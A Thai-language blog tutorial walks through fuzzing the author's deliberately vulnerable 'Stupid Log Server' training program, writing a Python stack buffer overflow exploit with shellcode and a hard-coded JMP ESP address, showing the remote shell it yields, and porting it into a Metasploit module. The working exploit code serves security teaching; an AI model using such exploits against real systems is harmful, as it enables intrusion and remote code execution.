ในบทความนี้เราจะมาดูกันว่าตั้งแต่การหาช่องโหว่ของซอฟต์แวร์จนถึงการเขียน exploit เพื่อเอาไปใช้กับ Metasploit framework เพื่อโจมตีซอฟต์แวร์ที่มีช่องโหว่นั้นจะต้องทำยังไงบ้าง เริ่มตั้งแต่ fuzzing เพื่อหาช่องโหว่เขียน code โจมตีเพื่อทำ proof of concept และสุดท้าย porting exploit นั้นไปใช้กับ Metasploit framework ครับ ไม่ได้ยากอย่างที่คิดไม่จำเป็นต้องรู้ภาษา Ruby ก็เขียนได้นะ ผมเองก็ไม่ได้เขียน Ruby แต่ควรมีพื้นฐานเขียนโปรแกรมมาบ้าง บทความนี้เขียนสรุปแบบรวบรัดสุดๆ ถ้าไม่มีพื้นฐาน buffer overflow มาก่อนอาจจะไม่เข้าใจ แต่สามารถอ่านเพิ่มเติมในเรื่องนั้นได้ตามลิงก์ท้ายบทความครับ
ทำไมต้องเขียน exploit ไปใช้กับ Metasploit ?
1. ง่ายต่อการใช้งานและพวก post exploitation, payloads ต่างๆที่มีอยู่ใน Metasploit เราก็สามารถเอามาใช้ได้โดยง่าย หรือเขียนให้ junior pentester ไว้ใช้งานก็ไม่เลวครับ
2. พอเขียนเป็นก็สามารถแก้ไขโค้ด exploit module ของ metasploit เมื่อมันใช้งานไม่ได้
3. ช่วยสนับสนุน Metasploit community
มาเริ่มกันเลย !!!
สำหรับตัวซอฟต์แวร์ที่มีช่องช่องโหว่ตัวนี้ผมเขียนขึ้นมาเองเพื่อใช้สอนในคอร์สเรียน Hacking & Security Workshop แต่สามารถดาวน์โหลดมาใช้เพื่อศึกษาได้ฟรีตามลิงก์
https://drive.google.com/file/d/0B1gDFjjjKrjzMEdEM0k1VlZYem8/view?usp=sharing
หลังจากดาวน์โหลดโปรแกรมที่มีช่องโหว่มาเรียบร้อยแล้ว ทำการเปิดโปรแกรม โปรแกรมนั้นจะทำตัวเป็น service เปิด port 12345 เพื่อรอรับคำสั่ง ผมใช้ nc เชื่อมต่อเข้าไปได้ได้ผลลัพท์ตามได้ล่าง
root@kali:~# nc 10.211.55.5 12345 Welcome to Stupid Log Server 0.1 * Type HELP to see the list of the commands Vulnerable software by http://mayaseven.com
ฝั่ง server ก็ส่ง banner กลับมาว่าเป็น log server และบอกว่าสามารถใช้คำสั่ง HELP เพื่อดูคำสั่งที่สามารถใช้ติดต่อกับ server ได้
root@kali:~# nc 10.211.55.5 12345 Welcome to Stupid Log Server 0.1 * Type HELP to see the list of the commands Vulnerable software by http://mayaseven.com HELP List of commands * GET (Ex: GET {date}) * PUT (Ex: PUT {log_string}) Vulnerable software by http://mayaseven.com
จะเห็นว่ามีคำสั่งที่สามารถใช้ติดต่อ server ได้ 2 คำสั่งคือ
GET เรียก logs จาก server
PUT ส่ง logs เข้า server
1. จากจุดนี้ผมจะเริ่มเขียน fuzzing ด้วย spike เพื่อใช้ในการสร้าง input รูปแบบต่างๆและส่งไปให้ server เพื่อให้มัน crash ถ้ามัน crash เราจะเอา input นั้นมาวิเคราะห์ว่าสามารถใช้โจมตีแบบ remote code execution ได้หรือไม่ต่อไป
root@kali:~# cat stupid_log_server.spike s_string("GET"); s_string(" "); s_string_variable("log message"); s_string("\r\n");
ด้านบนคือตัวอย่างรูปแบบโครงสร้างของ input ที่เราจะส่งไปให้ log service server ประมวลผลโดย input จะอยู่ในรูปแบบ “GET {fuzzing input}”
root@kali:~# generic_send_tcp 10.211.55.5 12345 stupid_log_server.spike 0 0 Total Number of Strings is 681 Fuzzing Fuzzing Variable 0:0 Fuzzing Variable 0:1 Couldn't tcp connect to target Variablesize= 5004 tried to send to a closed socket! Fuzzing Variable 0:2 Variablesize= 5005 Fuzzing Variable 0:3 Couldn't tcp connect to target
หลังจากที่ผมใช้ spike ส่ง generic_send_tcp ไป fuzzing ทั้ง command GET และ PUT พบว่า command PUT มีช่องโหว่เพราะทำให้ตัว service software crash ตามรูป
ผมลองทำการเปิด Stupid Log Server อีกครั้งโดยครั้งนี้ผมใช้ Immunity Debugger attach ตัว Studpid Log Server ด้วย เพื่อหาสาเหตุว่าทำไมตัว service ถึง crash จากนั้นทำการ fuzzing ที่ command PUT ด้วย spike อีกรอบ
จากรูปด้านบนเราจะเห็นว่า EIP register ถูกเขียนทับได้ 0x41414141 โดยที่ 0x41 ก็คือ hex ascii ของตัว A นั้นเอง จากจุดนี้ ทำให้รู้ว่าถ้าเราใช้คำสั่ง PUT และตามด้วย string ยาวๆมันจะทำการล้นไปทับ EIP register ซึ่งถ้าเป็นแบบนี้สามารถที่จะต่อยอดการโจมตีจาก denial of service เป็น remote code execution ได้
2. หลังจากที่เราพบช่องโหว่และรูปแบบ input ที่จะทำการ trigger ช่องโหว่แล้ว ในจุดนี้เราจะทำการเขียน code ขึ้นมาโจมตีตัว Stupid Log Server นี้
แต่ก่อนที่เราจะเขียน code โจมตีได้นั้น เราต้องรู้ข้อมูลอีก 3 อย่างคือ จำนวน string ก่อนที่จะไปเขียนทับ EIP register, ที่อยู่ของคำสั่งที่ใช้ในการชี้ไปรัน shellcode ของเรา, และขนาดของพื้นที่ที่สามารถวาง payload ได้ สามสิ่งนี้ผมให้เป็นการบ้านของผู้อ่านลองเล่นดูนะครับ 😀
เฉลย
1. จำนวน string ก่อนที่จะไปทับ EIP register คือ 512 bytes
2. address ที่เก็บคำสั่ง JMP ESP คือ 0x7E45B310 (แต่ละ version ของ OS จะไม่เหมือนกัน)
3. พื้นที่ที่สามารถวาง shellcode ได้คือ 492 bytes
ได้ exploit code ตามด้านล่าง
#!/usr/bin/env python __author__ = 'Nop Phoomthaisong (aka @MaYaSeVeN)' import socket,sys s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],int(sys.argv[2]))) shellcode = ("\xba\x0d\x6f\x16\x8a\xdb\xdc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1" "\x53\x31\x57\x12\x83\xef\xfc\x03\x5a\x61\xf4\x7f\x98\x95\x7a" "\x7f\x60\x66\x1b\x09\x85\x57\x1b\x6d\xce\xc8\xab\xe5\x82\xe4" "\x40\xab\x36\x7e\x24\x64\x39\x37\x83\x52\x74\xc8\xb8\xa7\x17" "\x4a\xc3\xfb\xf7\x73\x0c\x0e\xf6\xb4\x71\xe3\xaa\x6d\xfd\x56" "\x5a\x19\x4b\x6b\xd1\x51\x5d\xeb\x06\x21\x5c\xda\x99\x39\x07" "\xfc\x18\xed\x33\xb5\x02\xf2\x7e\x0f\xb9\xc0\xf5\x8e\x6b\x19" "\xf5\x3d\x52\x95\x04\x3f\x93\x12\xf7\x4a\xed\x60\x8a\x4c\x2a" "\x1a\x50\xd8\xa8\xbc\x13\x7a\x14\x3c\xf7\x1d\xdf\x32\xbc\x6a" "\x87\x56\x43\xbe\xbc\x63\xc8\x41\x12\xe2\x8a\x65\xb6\xae\x49" "\x07\xef\x0a\x3f\x38\xef\xf4\xe0\x9c\x64\x18\xf4\xac\x27\x75" "\x39\x9d\xd7\x85\x55\x96\xa4\xb7\xfa\x0c\x22\xf4\x73\x8b\xb5" "\xfb\xa9\x6b\x29\x02\x52\x8c\x60\xc1\x06\xdc\x1a\xe0\x26\xb7" "\xda\x0d\xf3\x22\xd2\xa8\xac\x50\x1f\x0a\x1d\xd5\x8f\xe3\x77" "\xda\xf0\x14\x78\x30\x99\xbd\x85\xbb\xb4\x61\x03\x5d\xdc\x89" "\x45\xf5\x48\x68\xb2\xce\xef\x93\x90\x66\x87\xdc\xf2\xb1\xa8" "\xdc\xd0\x95\x3e\x57\x37\x22\x5f\x68\x12\x02\x08\xff\xe8\xc3" "\x7b\x61\xec\xc9\xeb\x02\x7f\x96\xeb\x4d\x9c\x01\xbc\x1a\x52" "\x58\x28\xb7\xcd\xf2\x4e\x4a\x8b\x3d\xca\x91\x68\xc3\xd3\x54" "\xd4\xe7\xc3\xa0\xd5\xa3\xb7\x7c\x80\x7d\x61\x3b\x7a\xcc\xdb" "\x95\xd1\x86\x8b\x60\x1a\x19\xcd\x6c\x77\xef\x31\xdc\x2e\xb6" "\x4e\xd1\xa6\x3e\x37\x0f\x57\xc0\xe2\x8b\x67\x8b\xae\xba\xef" "\x52\x3b\xff\x6d\x65\x96\x3c\x88\xe6\x12\xbd\x6f\xf6\x57\xb8" "\x34\xb0\x84\xb0\x25\x55\xaa\x67\x45\x7c") eip = "\x10\xb3\x45\x7e" buf = "PUT " + "A" *512 + eip + "\x90"*16 +shellcode s.send(buf) s.close()
หลังจากรัน exploit code เราสามารถได้ shell บนเครื่องเหยื่อ
root@kali:~# nc 10.211.55.5 4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 10.211.55.5 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.211.55.1 C:\Documents and Settings\Administrator\Desktop>
3. มาถึงจุดสุดท้ายกันแล้วนะครับ คือ porting code นี้ไปใช้กับ Metasploit framework จริงๆแล้วพวก modules ต่างๆ ของ Metasploit เป็น Ruby code เราสามารถดูได้หมด เราจะเอา exploit module สักอันที่ใช้ protocol ในการโจมตีเหมือนกันมาเป็น template ก็ได้หรือเราสามารถใช้ template ที่ทาง Metasploit เตรียมไว้ให้ก็ได้
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking def initialize(info={}) super(update_info(info, 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", 'Description' => %q{ Say something that the user might need to know }, 'License' => MSF_LICENSE, 'Author' => [ 'Name' ], 'References' => [ [ 'URL', '' ] ], 'Platform' => 'win', 'Targets' => [ [ 'System or software version', { 'Ret' => 0x41414141 } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => "", 'DefaultTarget' => 0)) end def check # For the check command end def exploit # Main function end end
ด้านบนเป็น exploit module template จาก https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit
เราจะเห็นว่า template code มีโครงสร้างสวยงามง่ายต่อการอ่านและแก้ไข สิ่งที่เราต้องทำก็ง่ายเหมือนเติมคำในช่องว่างเลยครับ โดยสิ่งสำคัญที่เราต้องใส่เพื่อให้ exploit module ทำงานได้คือ
1. Target ก็คือ address ที่เก็บคำสั่งจำพวก JMP ESP
2. Payload space ก็คือขนาดที่สามารถวาง shellcode ได้นั้นเอง
3. ส่วน trigger ช่องโหว่ตรง def exploit
ผมทำการเขียน exploit module จากข้อมูลที่เราทำกันมาในบทความนี้ ได้ exploit module code ตามด้านล่าง
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Stupid Log Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Stupid Log Server By sending an long string, an attacker can overwrite the buffer and control program execution. }, 'License' => MSF_LICENSE, 'Author' => 'MaYaSeVeN', 'References' => [ [ 'Blog', 'https://blog.mayaseven.com/write-your-own-metasploit-exploit-module/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 492, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7E45B310 } ], ], 'DisclosureDate' => 'Nov 24 2016', 'DefaultTarget' => 0)) end def exploit connect print_status("Trying target #{target.name}...") buf = "PUT " + "A" * 512 buf += [ target.ret ].pack('V') buf += payload.encoded print_status("Sending #{payload.encoded.length} byte paylaod ...") sock.put(buf + "\r\n") handler disconnect end end
ผมทำการ save ไฟล์ exploit mudule นี้ไว้ที่ /root/.msf4/modules/exploits/misc ใน Kali เพื่อไม่ให้มันไปกวนกับ modules อื่นๆจากต้นน้ำ ถ้าเกิดลองแล้วไม่เจอ exploit module ที่เราสร้างใน msfconsole ให้ใช้คำสั่ง reload_all ครับ
ส่งท้ายด้วยคลิป exploit Stupid Log Server ด้วย exploit module ที่เราเขียน
สรุป ในบทความนี้เป็นพื้นฐานที่สำคัญ ในการที่จะต่อยอดไปถึงการโจมตีซอฟต์แวร์บน OS ใหม่ๆ ที่ต้องทำการ bypass security control เพิ่มเติมเช่น DEP, ASLR ครับ รวมถึงการโจมตี memory corruption แบบอื่นเช่น heap buffer overflow คงมีโอกาสได้เจอกันในบทความต่อๆไป 😀
ปล. บทความนี้ผมไม่ได้เขียนลงรายละเอียด สามารถอ่านในส่วนของเรื่อง buffer overflow ได้ตามลิงก์ด้านล่างครับ
https://blog.mayaseven.com/?s=how+to+hack+back+to+the+basic